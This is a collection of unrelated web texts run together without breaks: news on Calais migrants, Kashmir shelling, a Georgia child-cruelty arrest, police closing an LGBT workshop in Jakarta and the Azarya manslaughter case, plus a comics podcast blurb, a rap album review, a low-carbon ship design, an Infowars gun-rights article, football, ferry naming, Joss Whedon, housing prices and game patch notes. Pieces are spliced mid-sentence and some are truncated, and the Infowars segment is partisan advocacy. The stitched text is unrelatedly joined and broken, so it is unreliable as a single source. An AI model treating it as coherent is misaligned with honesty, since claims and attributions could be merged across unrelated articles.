But the UK Chamber of Shipping told MPs that stowaways found on Dover-bound ferries pleaded to be sent back to France, because they did not want to get caught up in the asylum system in the UK.
Instead, they wanted to have another go at sneaking into the UK ‘out of sight’ of the authorities so they could work illegally in the black economy. Under British rules, asylum seekers are barred from working.
Earlier this month it was revealed that police in northern France have stopped migrants attempting to sneak into the UK 18,000 times this year – but they admit not knowing how many have evaded their controls.
Immigration ministers James Brokenshire said: ‘Law and order in and around Calais is the responsibility of the French authorities but the UK continues to liaise closely with them.Episode 90 — The Big Book of Barry Ween
This week on View from the Gutters our topic work is The Big Book of Barry Ween, by Judd Winick. This collection contains all four previously released trades of The Adventures of Barry Ween, Boy Genius as well as the color-special crossover with Whiteout. First released in 1999, Barry Ween is one of the great indie comics of its time.
It stars the titular Barry Ween and his best friend Jeremy in a series of adventures involving vulva-shaped dimensional rifts, evil government conspiracies, time travel, aliens, sasquatchi, and the machinations of god-like entities. It is replete with crude humor and hilarious quips that will surely delight young and old alike.
In our recommendation section, our hosts nominated J. Michael Staczynski’s Thor, Astonishing X-Men, Secret Avengers, and Hack/Slash: Son of Samhain for discussion on the next episode, and our selected title is Thor. We will be reading all three trades of JMS’s run, which collect Thor, Vol. 3 #1-12; Thor, Vol. 1 #600-603; and Thor: Defining Moments Giant-Size #1. These are collected in trade simply as Thor, Vol. 1; Thor, Vol. 2; and Thor, Vol. 3. Comics, everbody.
We invite you to discuss both this episode and its topic on our subreddit.
Our hosts for this episode are Tobiah Panshin, Andrew Chard, Brant Gillihan-Eddy, and Cade Reynolds.At least four Indian soldiers on border patrol have been killed by Pakistani fire on the de facto border of the disputed region Kashmir.
Pakistani soldiers fired along the highly militarised border and targeted Indian posts in the Rajouri sector, violating the 2003 ceasefire accord, the Indian army said in a statement on Saturday (23 December).
The army called the firing an "unprovoked ceasefire violation."
A spokesperson for the Pakistani army did not immediately react to this accusation.
Jammu and Kashmir Deputy Chief Minister Nirmal Singh paid rich tributes to the slain soldiers and condemned Pakistan for the ceasefire violation.
"Pakistan is a terrorist state and it will not be too long before the country is declared a terrorist state by the world. It does not only support terrorism but also provide state sponsorship," Singh said, according to Zee News.
Tensions between Pakistan and India have been running high in the Himalayan territory for a long time.
India and Pakistan have fought three major wars since their independence from Britain in 1947. Two of the conflicts were centred in the disputed valley of Kashmir.
Last year, Pakistani and Indian soldiers engaged in some of the worst fighting along the border since they agreed to the ceasefire accord in 2003.
Earlier this month a Pakistani official warned that a nuclear conflict in the region "cannot be ruled out" and that stability "hangs in a delicate balance."
"The stability of the South Asian region hangs in a delicate balance, and the possibility of nuclear war cannot be ruled out," he said. "India has been stockpiling a range of dangerous weapons, as it threatens Pakistan continuously in conventional warfare."The pop charts have been a dangerous place for much of the past two decades. When N.W.A's Efil4zaggin hit number one on the Billboard 200 in 1991, it established gangsta rap as a viable commercial product—and in the music's majority white and middle-class audience, it ignited a seemingly insatiable appetite for vivid lyrical portrayals of black men working in the violence-wracked crack trade. "Gangsta" soon became hip-hop's default pose as far as mainstream culture was concerned, and the charts were full of men with reputed gang connections and allegedly itchy trigger fingers.
Twenty-two years later, the trend finally seems to be winding down. Jay-Z has had a major part in this by popularizing the notion that music-industry success can be a way to transcend the bloody crack-game lifestyle rather than simply elevate it to a bigger stage, and Kanye all but finished the job when he became one of the biggest rap stars in the world without bothering to obscure his solidly middle-class background. Rappers on the charts today—Drake, A$AP Rocky, 2Chainz—talk about money, molly, women, and designer clothes, and barely mention guns and crack.
It seems that even gangsta rappers are over gangsta rap. Lil Wayne, who for years presented himself as a coke-slinging thug, raps almost exclusively about party drugs and sex these days. Chief Keef, whose popularity has been attributed by some critics to his fans' morbid obsession with black-on-black violence, has hinted that his next album will ditch the street-level perspective. Even Pusha T, whose group Clipse was for years roundly criticized for its single-minded lyrical obsession with selling cocaine, is now shooting artsy music videos in Paris and complaining about subpar private air service.
Gangsta rap still has an audience, but it's moving underground to the mixtape circuit, where rappers big and small release music for free through digital platforms such as DatPiff and LiveMixTapes—and where they can escape the pressure to appeal to mainstream sensibilities that's part and parcel of putting out music on major labels. Gangsta rap thrives in this environment, which is often hospitable only to the most hardcore hip-hop fans. Crack-obsessed rappers who are only marginal figures in the mainstream (including Young Jeezy, whose recent radio hit "R.I.P." originated on his mixtape It's tha World) are superstars here, and rappers nobody has heard of in the pop world (such as Atlanta's Alley Boy, whose new mixtape, War Cry, is one of the darkest records of the year) are major movers.
Freddie Gibbs, a native of Gary, Indiana, who now lives in Los Angeles, has released ten mixtapes since 2004, and his first "official" full-length, last month's ESGN, is aimed directly at that same mixtape audience. When Gibbs signed a production deal with Interscope in 2007 (only to be dropped the same year), he was considerably more gangsta than the average rapper. Judging by the material from his brief major-label stint that later turned up on mixtapes, he was completely uninterested in projecting a radio-friendly image—in fact the only thing he really seemed to want to get across was an unflinching reflection of the blighted streets of Gary. He prefers brutally sparse, punishingly hard beats, and he has the on-mike presence of a guard dog straining at its chain.
Gibbs remains defiantly thugged-out on ESGN, an album that exudes felonious intent with every beat. Sometimes breathtaking in its anticommercialism, it's an enormous middle finger raised to the very concept of crossover success, especially if getting it requires emulating Drake in any way. The lead single, "One Eighty Seven," which Gibbs has described in an interview with XXL magazine as "straight for the clubs," is menacing, bass-heavy, and minimalist, combining horror-movie-soundtrack bells and raps about casually murdering people—at most clubs I know, it would scare the shit out of people.
In the same XXL interview, Gibbs declares, "Michael Jackson is dead, so I gotta pick up the torch and run with it for my city." At first that seems like a ludicrous claim, but it makes sense if you're familiar with Gary and its history. Jackson began his career as the youthful face of a city that was still hopeful despite its decline, and Gibbs represents the same city once it's reached the point of total collapse. The rap world is having a roaring time, but you'd be hard pressed to find any evidence of that in this hollowed-out place, where the people seem outnumbered by abandoned buildings.
And though he might not be on Jackson's level, Gibbs is ferociously talented. With the help of a handful of producers, including in-house talent from his ESGN label (Chicagoan Lord Zedd and Superville from Cambridge, Ontario), he's crafting a new aesthetic for gangsta rap that feels like a leaner, more evolved version of the "trap" sound that's dominated the form for years. It's frequently dazzling in combination with his flow, whose cadence shifts seamlessly from the slo-mo Houston style to Tupac's melodic bark to the midwestern speed rap of Bone Thugs-N-Harmony and Twista.
With gangsta rap so out of fashion it seems unlikely that ESGN is going to attract many listeners, which is a shame. There are moments on the album that make it feel like his only real competition is rap's superelite—the ones currently spending more time talking about their modern-art collections than their street cred. In a thoroughly ironic reversal, it's gangsta rap that's now confined to the underground, while rappers big-upping Basquiat and criticizing America's for-profit prison system hog the pop charts.
It's tempting to wonder how ESGN would've performed if it were released when Gibbs was signed to Interscope and listeners were somewhat more receptive to uncompromisingly hard rap music. But that's a waste of time, and not just because it can't happen. ESGN is very much a record of this moment—it's not only keeping the gangsta sound alive but pushing it into the future. Freddie Gibbs is far from the only person left making undiluted gangsta rap, but even if he were, the style would be in good hands.While the global maritime industry is responsible for three percent of global emissions, it is yet to be subjected to global emissions agreements. With emission levels set to mushroom as more goods are freighted across the oceans, unstable and spiking oil prices also make for an increasingly unpredictable future for worldwide shipping trade.
"The design will rely heavily on buy-in from the shipping industry, although this has to an extent already been achieved."
The world’s first fossil fuel-free ship, designed by B9 Shipping (B9S), part of the B9 Energy Group, was conceptualised to counteract rising fossil fuel prices and the global challenge of reducing greenhouse gas emissions by providing efficient and affordable low-carbon shipping.
A rigorous testing programme conducted at the University of Southampton’s Wolfson Unit for Marine Technology and Industrial Aerodynamics (WUMTIA) analysed a variety of factors, before arriving at a final design. This combines a state-of-the-art dyna-rig sail propulsion system with a Rolls-Royce engine powered by waste-derived liquid biomethane (LBM) – liquefied gas.
According to Diane Gilpin, company director: "B9 Shipping’s future-proof coasters can swiftly be brought to market delivering both goods to support the low carbon economy and feasible solutions for the age of sustainability."
An evolutionary design process
"The design process is evolutionary," Gilpin enthuses. "We’re combining proven technologies to develop a ‘future proof’ technically and commercially viable small (3,000 dwt) merchant dry bulk vessel."
This holistic design process combines technology transferred from offshore yacht racing with the most advanced commercial naval architecture available, as well as incorporating fuel derived from food waste, thanks to B9S’s sister company B9 Organic Energy.
Primary testing phase
Tow tank and wind tunnel research at WUMTIA helped to identify a basic hull design, as well as how this would interact with the dyna-rig system.
Exhaustive tests using scale models analysed a variety of performance parameters in order to pinpoint optimum performance efficiencies in a wide range of conditions, while simultaneously ensuring that the design would be able to deliver when it came to essential commercial aspects, including loading and discharge.
The outcomes of this recently completed testing schedule, Gilpin says, provide: "Validated data with which to develop a robust economic case (for the vessel’s commercial viability)."
This includes, for example, more accurate predictions of time spent under sail on any given route, impacting the amount of LBM required, which in turn impacts operational costs.
Hull design
Steel plates will be used to manufacture the ships’ hulls, a process which has been used to rapidly build all kinds of ships for several years.
Gilpin explains: "Think of it as a flat-pack ship kit. The steel is shaped on site at Tata Steel facilities and delivered ‘just-in-time’ to the construction shipyard. The resultant ship manufacturing process is more straightforward and efficient; effectively the steel plates are welded together on site."
Steel is the most recycled material in the world and ‘off-cuts’ can be reprocessed at the smelting facility, drastically reducing material waste. "We are working with Tata Steel to improve the green credentials of the steel we buy from them," says Gilpin, "as well as exploring the feasibility of breaking up old cargo ships to make our new ones; using green electric arc furnaces to smelt the steel and adapting coal-powered furnaces to burn ‘bio-coal’ derived from torrefied wood chip."
Wind power: dyna-rig sail system
The free-standing and free-rotating dyna-rig sails (originally designed in the 1960s by Wilhelm Prolls) selected for the vessel offer several valuable commercial advantages. "Electronic operation of the sails improves onboard safety, while electronic trimming maximises wind power by working with optimum wind angles," explains Gilpin.
""B9 Shipping’s future-proof coasters can swiftly be brought to market delivering both goods to support the low carbon economy and feasible solutions for the age of sustainability.""
"The rig comprises a number of relatively small sails which are easily replaced, meaning the loss of a sail doesn’t compromise overall performance," she continued, adding that because the rig is free-standing there are no lines to clutter the deck and impair loading or discharge of cargo.
Gilpin notes that B9 Ships will be dry bulkers and chemical / liquid tankers – pumping cargo on and off – rather than container ships, with the deck space clearly needed to house the sailing rigs.
The dyna-rig has already proven highly effective, having recently been deployed on the super yacht Maltese Falcon, which used the sail 61% of the time during its first year of operation at sea.
Gilpin predicted 60% wind power for operations involving B9 Ships, with the balance coming from the Rolls-Royce LBM-fuelled engines.
Liquid biomethane (LBM)
Related project B9 Shipping Carbon Neutral Coastal Vessel, UK B9 Shipping, a subsidiary of B9 Energy Group, is developing carbon neutral coastal vessels that will be commercially viable in terms of price and performance in comparison with conventional oil-powered sea going vessels.
Use of LBM in the ship’s engine provides multiple benefits at all stages of the supply chain. Anaerobic Digester production plants follow a series of processes in which microorganisms break down food waste, which is then turned into biofuel in the form of LBM.
This is particularly important in light of Article 21 of the 2009 Renewable Energy Directive (RED), which states that in meeting renewable energy obligations: "The contribution made by biofuels produced from wastes, residues, non-food cellulosic material and ligno-cellulosic material shall be considered to be twice that made by other biofuels."
"This is precisely why LMB is such an important energy resource to pursue. Using waste delivers a double environmental benefit by avoiding sending food waste to landfills and transforming it instead into a useful alternative to fossil fuel," Gilpin asserts, continuing, "the key value for the overall project is to enable 100% fossil fuel-free performance comparable to (or exceeding) conventionally oil powered ships. The ancillary engine enables adherence to commercially sensitive schedules but without the environmental / greenhouse gas (GHG) emission costs," she continues.
Software is also being developed to calibrate the output from the wind / engine for maximum operational efficiency. This is running concurrently with economic analysis work, which has just begun following receipt of the test data. "Firming up the economic case will increase the confidence of our stakeholders, potential customers and collaborators," maintains Gilpin, "in progressing the project to the next step – building a full size demonstrator vessel."
Development phase and future outlook
Work has already started on a full-scale demonstration vessel, validating the engineering and economic assumptions of the initial vessel design.
"This combines a state-of-the-art dyna-rig sail propulsion system with a Rolls-Royce engine powered by waste-derived liquid biomethane (LBM) – liquefied gas."
According to Gilpin, the B9 ship demonstrator will be about 100m long with a 55m mast and a draft of about 4.5m. "We will engineer in a retractable centre board (used to maximise performance of racing yachts), helping to optimise upwind / lee shore performance," she notes, adding, "the pay-off between the extra engineering capital cost against the improvements, in perpetuity, from using wind as the principle propulsion resource will be examined in detail as we develop the economic analysis."
The design will rely heavily on buy-in from the shipping industry, although this has to an extent already been achieved through partnerships with Tata Steel, Rolls-Royce, Lloyds Register, P&O, Harland and Wolff Shipyard, Graig Shipping (owners and builders) and ship brokers Gibson’s.
Gilpin was confident that design and build of the demonstrator could be completed in the next 36 months, provided financing falls into place. With this in mind, she says: "B9S is developing a long-term, ‘triple context’, value-based finance programme." What this amounts to is incorporating wider environmental and social impacts into economic evaluation – an approach already being adopted by numerous significant multinationals to build resilience into their business.
Likewise, the project has been given an enthusiastic thumbs-up by UK Shipping Minister Mike Penning, who stated: "The innovative technologies being developed by B9 Shipping are very welcome in demonstrating to the shipping industry and the world beyond that efficient and affordable low-carbon shipping is possible."Powerful public relations blow to gun control lobby
Paul Joseph Watson
Infowars.com
October 22, 2013
Interpol Secretary General Ronald Noble told ABC News that one of the only ways to prevent terrorists from hitting soft targets was to arm citizens globally, noting that the Westgate mall siege would have been averted far quicker if it had taken place in gun-friendly areas like Denver or Texas.
Noble’s statements are a powerful rebuttal to the anti-gun lobby, especially given his background. The Interpol chief was formerly the head of all law enforcement for the U.S. Treasury Department.
Stressing that an “armed citizenry” was the only option besides turning soft targets like shopping malls into enclaves surrounded by “extraordinary security” perimeters, Noble suggested that the siege in Kenya, which dragged on for days and ended in the slaughter of 60 civilians, represented a huge public relations blow for gun control advocates.
“Ask yourself: If that was Denver, Col., if that was Texas, would those guys have been able to spend hours, days, shooting people randomly?” Noble said, referring to states with pro-gun traditions. “What I’m saying is it makes police around the world question their views on gun control. It makes citizens question their views on gun control. You have to ask yourself, ‘Is an armed citizenry more necessary now than it was in the past with an evolving threat of terrorism?’ This is something that has to be discussed.” “For me it’s a profound question,” he continued. “People are quick to say ‘gun control, people shouldn’t be armed,’ etc., etc. I think they have to ask themselves: ‘Where would you have wanted to be? In a city where there was gun control and no citizens armed if you’re in a Westgate mall, or in a place like Denver or Texas?'”
As we reported last month, an off-duty SAS soldier armed with a handgun helped save at least 100 lives during the Westgate siege, returning to the building a dozen times to rescue hostages.
Noble’s argument that guns in the hands of responsible citizens can prevent bloodshed is backed by hard statistics.
According to a 1993 National Self- Defense Survey conducted by Gary Kleck, Ph.D., a professor in the School of Criminology and Criminal Justice at Florida State University in Tallahassee, Americans use guns to defend themselves against a confrontation with a criminal up to 2.5 million times a year. This means that every day in America some 6,800 people use guns to protect themselves.
Scholars Clayton E. Cramer and David Burnett have documented how “a great number of tragedies — murders, rapes, assaults, robberies — have been thwarted by self-defense gun uses.”
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Paul Joseph Watson is the editor and writer for Infowars.com and Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a host for Infowars Nightly News.Empire explores the politics and power of the world's most popular sport, and the global implications of the game.
Football, the people's game, is played by millions and watched by billions.
It is more than just a sport, more than tournaments and trophies, more than big business.
"Discrimination is not in our game. Discrimination is in the world. We are a mirror of our world, in football. And you have discrimination and you have racism in football. We are fighting against that, but it can only be by solidarity." Sepp Blatter, the president of FIFA
The game can be an engine of conflict or a force for change, transcending borders and cultural backgrounds and forging new affiliations and identities.
Football has become a big-money business, and as football teams soar in value, they have become toys for billionaires.
In 1992, Rupert Murdoch signed a satellite TV deal with the newly-formed Premier League, making him a major force in globalising the game. Earlier this year, the league signed broadcast deals worth some $4bn.
Today, half the Premier League is completely foreign-owned – with US Americans owning five teams.
Manchester City, the 2011-2012 champions of the Premier League, is owned by Sheikh Zayed of Abu Dhabi, who is said to have pumped nearly $1bn into it. Abu Dhabi's Etihad Airways paid a fortune to name the stadium. And an Argentinian player the team spent more than $40m to acquire, scored the winning goal of the last season.
FIFA president Sepp Blatter says discrimination exists in the world and football merely reflects that
Coaches and players move as easily across national lines and national boundaries as capital and trade does. Countries in Europe that have histories of racism or xenophobia now find themselves accepting Muslim players or players of colour and cheering for them on the field.
Once entirely British, today, more than 60 percent of Premier League players come from overseas. As professional teams have integrated, so have many national teams. The rosters of England, France and Germany are filled with players from former colonies, or children of immigrants.
In an exclusive interview, Marwan Bishara asks Sepp Blatter, the President of Federation Internationale de Football Association (FIFA), about the implications of the changing state of football, from Palestine to Europe to Africa, Asia and the Americas.
Empire also travels to Egypt, and looks at the role that football fans have played in the revolution, and the role it continues to play as the country looks toward the future. Al Ahly, Africa's most decorated team, boasts an estimated 50 million supporters, and has dominated Egyptian football for nearly 100 years. Under Mubarak, Ultras Al Ahlawy, the team's legendary fan association, often clashed with the police but they were apolitical. However, when the Arab Spring hit Egypt, the Ultras called for the overthrow of the military regime that succeeded Mubarak, and led massive protests against it.
"They are die-hard football fans. And they will defend their team for anything. But now, it's not just their team and it's not just football. It's the revolution. They have to defend the revolution." Menna Elshishini, an Egyptian activist
Empire asks, what does the future hold for the people's game?
Joining us as interviewees: Sepp Blatter, the FIFA president; Andy Appleby, the chairman and co-owner of the Derby County Rams; Dan Jones, the lead partner of the Sports Business Group at Deloitte; Dave Zirin, a sports editor at The Nation magazine; Menna Elshishini, an Egyptian activist; Ramy Essam, an Egyptian musician and activist; and Shiko, a member of the Egyptian Ultras Al Ahlawy.
And we discuss how football is changing the world, and the world is changing football, with our guests : Mina Rzouki, a writer and broadcaster for The Daily Mirror and the World Football Show television programme; Simon Kuper, a columnist for The Financial Times and the author of several books about football including Soccernomics; Ashling O'Connor, a sports news correspondent for The Times of London; and Jimmy Burns, a freelance journalist and author of several books, most recently La Roja: How Soccer Conquered Spain and How Spanish Soccer Conquered the World, a history of Spanish national football.
Source: Al JazeeraThe chairman of Jakarta-based LGBT group Arus Pelangi has filed a report to the Indonesian National Commission on Human Rights (Komnas HAM) for shutting down a workshop on access to justice for LGBT communities in early February.
Yuli Rustinawati said dozens of Menteng Police officers arrived at the Cemara Hotel in Menteng, Central Jakarta where the workshop was attended by 26 delegates from eight local provinces.
According to the Jakarata Post, the police met with organizers of the workshop as well as members of the Islam Defenders Front (FPI), a hard-line group with a history of disruption LGBT events across the country.
The LGBT advocacy group held a series of events between February 1 and 8 under the tagline ‘LGBT Rights are Human Rights.’
Yuli told the Post that although she was told by the police that the organizers needed to get a permit from the police to hold such an event, she said that no regulation stipulated that an event held indoors with fewer than 50 people required a police permit.
On the third day of the event, five FPI members and a police officer arrived at the venue and demanded that the workshop be stopped immediately as it did not have a required permit.
The group however decided to continue as they felt that they had not violated any laws.
Several hours later, some 25 uniformed police officers descended into the hotel lobby and forced the management to stop the event.
Human Rights Watch Group (HRWG) ASEAN program manager Daniel Awigra lambasted the police’s actions.
‘What’s the basis of it? The police are responsible for protecting everyone, regardless of their politics, religion or sexual orientation. The [LGBT community] is not a threat to safety, public order, public health or morals,’ he was quoted as saying by the Post.
An editorial in the Jakarta Post titled Dashed hopes in Jakarta Police called out the police force for continuing to ‘side with conservative political and religious groups at the expense of Indonesia’s democracy’ and ‘fail(ing) in serving all law-abiding citizens without fear or favor.’
The incident is among a series of anti-gay statements and actions by government officials and the hardline group.
In January, FPI members in Bandung raided boarding houses in the country’s third largest city where they believed gay people were staying and put up signs demanding that they leave.
Earlier this week, the Indonesian government ordered instant messaging app LINE to remove stickers, which showed two cartoon men embracing and kissing, after a backlash on social media.
In January, an Indonesian education minister called for LGBTI students to be banned from universities.
On Friday, Administrative and Bureaucratic Reform Minister Yuddy Chrisnandi joined in the attack on LGBTI people.
‘Of course it is inappropriate for civil servants to be [homosexual]. Having more than one wife for a man is still normal, even though it is prohibited by regulations and the ethics code, but LGBT is another issue,’ he said.
Only one high-ranking government official has spoken out for the LGBT people to date.
Coordinating Political, Legal and Security Affairs Minister Luhut Pandjaitan on Friday said LGBT people have equal position before the law in Indonesia.
‘Whoever they are, wherever they work, he or she continues to be an Indonesian citizen. They have the right to be protected as well,’ he told the Post.Grace Love An (Hall County Sheriff’s Office)
A Georgia mother has been arrested after police said she bound her 16-month-old son with packing tape and kept him in a locked vehicle for hours.
The toddler was found Wednesday night near Gainesville when his mother, 18-year-old Grace Love An, called a locksmith to unlock the car, authorities told the Gainesville Times. The locksmith found him in the backseat with cellophane and packing tape wrapped around his wrists and ankles, and over his mouth.
“I looked to see what kind of tool I needed,” the locksmith, Volley Collins, told the newspaper. “I unlocked the door, and reached in to get her keys, and I heard a baby crying. I took my flashlight, and there was a little baby lying in the floorboard in the back.”
Authorities rescued the child and he was transported to a nearby hospital, where he was treated and released to child protective services.
An was arrested and charged with first-degree child cruelty, false imprisonment and reckless conduct, according to booking records.
[‘They love it there,’ says grandfather of boys found in underground shipping crate]
The Hall County Sheriff’s Office and witnesses told NBC affiliate WXIA-TV that An drove down a dead-end road and parked — and then bound her toddler in the backseat. Authorities said she walked to a nearby lake and stayed there for hours.
At some point, authorities said, she returned and started knocking on doors in the neighborhood, telling residents she needed to call a locksmith. Someone called a locksmith for her and also phoned police to report a suspicious person in the area.
An never mentioned the child, authorities said.
“She just was acting like someone who had locked her keys in her car,” Collins, the locksmith, told the Gainesville Times. “There was no reaction on her part at all.”
When Collins found the child, he said he was shocked.
“The only reason I looked in the back seat was, I heard a baby cry,” he told WXIA-TV. “You’re kind of stunned; you don’t know what to think. It just makes you mad. How anybody could do anything like that to a baby. And what was she gonna do with the baby?”
Collins told the Gainesville Times: “He was crying. It was just a whimper, but he was crying … I can still picture that baby all taped up.”
[Boy, 13, held captive four years, found behind false wall in father’s garage]
Hall County Sheriff’s deputies responded the call about the suspicious person about 6:45 p.m. local time, authorities said in a statement. Deputies met with the locksmith and immediately went to get the child. He was then transported to Northeast Georgia Medical Center for evaluation.
Hall County Sheriff’s Office spokeswoman Deputy Nicole Bailes told WXIA-TV that authorities had not determined a motive.
“Obviously we’re going to factor in the mother’s age, and the fact that she has a 16-month-old child that she’s trying to raise on her own. That, in itself, is going to cause a lot of undue stress for a single parent,” she told the news station. “And so, again, without speculating, we’re going to tie that in as a factor as to the possibilities of what her mindset was.
“I feel like if that child had been there much longer, then, yes, a tragedy would have been the outcome.”
Collins told WXIA-TV he’s just glad he found the child.
“All you can think is, you know, God had a hand in it to put us there at the same time,” he said. “Dumb luck, spiritual luck — whatever you want to call it. I’ll call it whatever it is — it’s just good luck on the baby’s part.”
An is being held on $11,600 bail. Authorities said she has requested a public defender.
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Wisconsin teenager forced to live in basement, wear diaper, police say
Two 9-year-old boys were left at home alone for months with almost nothing to eat but ramen noodlesOver a year after the Name Your Ferry competition was launched, Transport NSW has announced the name of the final ferry in its new fleet: Ferry McFerryface.
Sydneysiders were encouraged to vote on names for the new ferries through the Name Your Ferry website and using the #yourferry hashtag.
Ferry McFerryface was actually the second most popular choice, however, with the most votes going to Boaty McBoatface, the name of a British research vessel.
"Given Boaty was already taken by another vessel, we've gone with the next most popular name nominated by Sydneysiders," said Minister for Transport and Infrastructure Andrew Constance, the ABC reported.
Three of the new ferries have already been named by the public, paying homage to notable Australians Victor Chang, Fred Hollows and Catherine Hamlin.Danny Moloshok / Reuters/Reuters Joss Whedon Courtesy Shawnee Kilgore Shawnee Kilgore
For the better part of 2014, Joss Whedon has been working on a project unlike anything else he has attempted in his multi-decade career. It involved many hours of complex collaboration and focused creativity, and followed Whedon as he traveled from South Africa to South Korea to several months in Great Britain. Finally, the celebrated storyteller is sharing a glimpse at his new opus to the world. No, it's not the trailer for Avengers: Age of Ultron, although Whedon did just finish principle photography as the writer-director of that massive feature film on Aug. 6. Nope, it's a lovely, plaintive folk song that Whedon co-wrote while making Avengers 2 — and it's just the first of a six-song, as-yet-untitled EP album Whedon and his creative partner, singer-songwriter Shawnee Kilgore, hope to release at some point later this year. "It's been a little bit magical," Whedon told BuzzFeed of what it has been like working on the album with Kilgore at night after spending his days directing some of the most powerful superheroes in Hollywood. "It is nice to have the balance between something that is genuinely enormous and something that is crystalline and tiny." The first single from the EP, available on iTunes starting today, is called "Big Giant Me," and it's the result of an unlikely creative partnership between Whedon, 50, and Kilgore, a 32-year-old Austin-based musician who first came to Whedon's attention on Kickstarter. "I had a Kickstarter phase — I don't want |
resulted in price declines, all of which were large.” [emphasis added, extraneous definitions omitted]
The graphs do appear to vindicate the notion that market forces alone can, without subsidies, cause housing prices to decline. The housing-permit equivalent of a 300-year flood will almost guarantee that prices will drop by around 15%.
McCue and Belsky note that such overbuilding has basically disappeared from major cities in recent years, though. Instead, these cities have extirpated the rare beast and now systematically underproduce housing. Since nobody can remember prior oversupply crises, they now feel free to deny that such a thing is even possible.
Note that of the three major factors McCue and Belsky tie to house price declines, overbuilding is implicated more often than either employment loss or overheated prices. Just high housing prices on their own rarely led to corrections; because housing prices are sticky, high prices just plateau for a while.
Even in the realm of luxury goods (which some wrongfully claim that housing is), a good old supply shock is always eventually able to bring prices back into line. Here’s the supply and price of Maine lobsters, whose prices collapsed as the recession cut demand for ostentatious restaurant meals, but where growing supply has kept prices down even as demand rebounded: “Lobster, long considered a luxury, is becoming a little more ordinary.”
Sadly, San Francisco has underbuilt to the point where it would take a a 26% increase to its current housing stock to get the market back into balance.BETHLEHEM (Ma’an) -- Elor Azarya, the Israeli soldier facing manslaughter charges for
after he was immobilized on the ground in Hebron in March, was released to his home on Friday for a “short break” from his detention.
According to Israeli new site Arutz Sheva, Azarya’s father Charlie took him home Friday morning for a break that would last until Sunday. The final verdict on the case is expected to follow shortly after.
Azarya, 19, has been in “open detention” at an Israeli military base since April, where he is free to roam and has received visits from his family.
Spokesman for the Azarya family Ran Karmi Bozaglo was quoted by Arutz Sheva as saying that “Elor was released for a short break, on the eve of the deliberations at which the verdict for his case will be announced."
"It is of note that limitations and conditions have been imposed on the break, including that he is forbidden from leaving his home, something which implies house arrest.”
“The members of the family believe and hope that soon the Army will return to them the son whom they sent to guard the homeland. The family requests that the public respect its privacy and allow them to best utilize the short time allotted to share with their son,” he added.
As the case drew to a close, Azarya's defense team last month called for the soldier to be exonerated of all charges for shooting 21-year-old Abd al-Fatah al-Sharif at point-blank range after the Palestinian had already been shot and severely wounded for allegedly attempting to stab another Israeli soldier.
Azarya’s lawyers argued that the trial had confirmed the soldier’s version of events, which stated that Azarya shot al-Sharif because he believed the immobilized man could have reached for a knife or had been concealing explosive underneath his jacket.
However, Azarya’s version has been thoroughly contradicted during the duration of the trial by his commanders and experts, who stated that al-Sharif did not constitute a threat at the time of his death, and that him wearing a jacket was not suspicious given the weather that day.
However, no trial has been opened in the case. Weeks into Azarya’s trial, reports emerged that the second Palestinian killed alongside al-Sharif was also shot in the head execution style
Earlier this month, soldiers in Azarya’s battalion reportedly said they will go “AWOL” or even desert should their fellow combatant be convicted of manslaughter charges by the military court, and l arge numbers of Israeli citizens have also come out in support of the soldier.
On Wednesday, former Israeli Defense Minister Moshe Yaalon criticized Israeli Prime Minister Benjamin Netanyahu for his support of the Azaryas, which Yaalon said came after Israeli politicians “saw an opportunity, decided to declare the soldier a hero and started spreading rumors against the prime minister, against me, and against the (Israeli army).” “Later, sadly, the prime minister switched sides and decided to embrace the soldier and his family,” he said. Shortly after Yaalon in May urged Israeli officers to speak out against the “extremist minority” who he said were working to undermine the values of Israel’s military, Netanyahu replaced him with far-right Avigdor Lieberman as the new defense minister, who has since publicly supported Azarya. “We don’t just shoot at people,” Yaalon said Wedneday, “not even if he’s a terrorist, not even at another soldier who just shot at you but has now surrendered and has been neutralized, we don’t just shoot.” "If we don’t come out very clearly against this, that we denounce it, this behavior, then the Palestinians will accuse us -- as they have for a long time -- of committing extra-judicial killings."
The high-profile case has indeed drew unprecedented international condemnation toward the Israeli army, after a video clip was immediately released showing the brutal killing.
Amnesty International said that al-Sharif's killing mirrored a number of incidents which had taken place previously and that “Israeli forces have a long history of carrying out unlawful killings -- including extrajudicial executions -- in the occupied Palestinian territories with impunity."
"While it is encouraging that the soldier in the video has reportedly been suspended and placed under investigation, previous Israeli investigations have failed to hold members of the Israeli forces accountable even when there has been clear evidence of criminal wrongdoing."Battlerite Patch 0.9 a guest Nov 9th, 2016 321 Never a guest321Never
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rawdownloadcloneembedreportprint text 7.38 KB The servers will be down for approximately 1 hour on Thursday, November 10th at 15:00 CET (9 AM EST / 6 AM PST) for patching. Features & Content New Champion: Ezmo - The Mischievous Ezmo was once imprisoned by the warlock, Aradu The Reserved, but managed to escape when his captor was too engrossed in reading his tome. Ezmo sealed Aradu's soul within the book, creating the Lost Soul Grimoire, and has carried it ever since. When he isn't playing tricks on people, Ezmo is searching for a way back to his home dimension. Vídeo de YouTube™: Battlerite Champion Preview: Ezmo "The Mischievous" Reproducciones: 3,024 10.11.16 -Ezmo is fond of arguing with his tome and causing trouble. He is an aggressive spellcaster who can move quickly through teleportation. Extended Champion Progression Champion progression now goes up to level 20 and includes additional rewards such as Legendary Chests and Titles. Legendary Chests contain at least one Legendary item. Play with same At the end of a match you can now agree to play with your current team members again. Champion Updates & Fixes Bakko Bulwark (Q) Fixed a bug with Bulwark and Harpoon/Javelin. Bakko now correctly reflects Harpoon & Javelin however Bakko does not jump to a target hit by a reflected Javelin. Reflected Harpoon will pull the target hit towards Bakko. Bulwark now reflects X-Strike projectiles instead of destroying them. Reflected Boomerangs can now be counter Reflected. Croak Croak has been performing well in lower brackets but has been dropping at higher ranks. These changes are both buffs and nerfs, as some bugs have been fixed that gave Croak more sustainability than intended at Tier 3, while some Battlerites and Buffs now work as intended and apply to all of his attacks. Croak’s been having a hard time to snatch Orbs so a slight damage buff to Frog Leap will allow him to snatch it with one strike less, whilst mobility tweaks should make him more reliable across the board and open up more Battlerite options at Tier 2. Sludge Spit (EX M2) Fixed so the Sludge Spit (EX-M2) debuff can be dispelled. Camouflage (Q) Movement speed bonus increased from 10% to 20%. Deceit (EX Q) Movement speed bonus increased from 15% to 30% (due to a bug, it was actually 30% so this doesn't change anything balance-wise) Frog Leap (Space) Damage increased from 16 to 18 Toxin Blades Toxin Blades now applies to all Blade Flurry strikes regardless of other buffs. Battlerites Cut to the Chase Now increases movement speed from 20% to 35%, instead of from 10% to 30%. Jungle Toad Fixed a bug causing Blade Flurry attacks made from Camouflage to heal Croak for 14 health with this 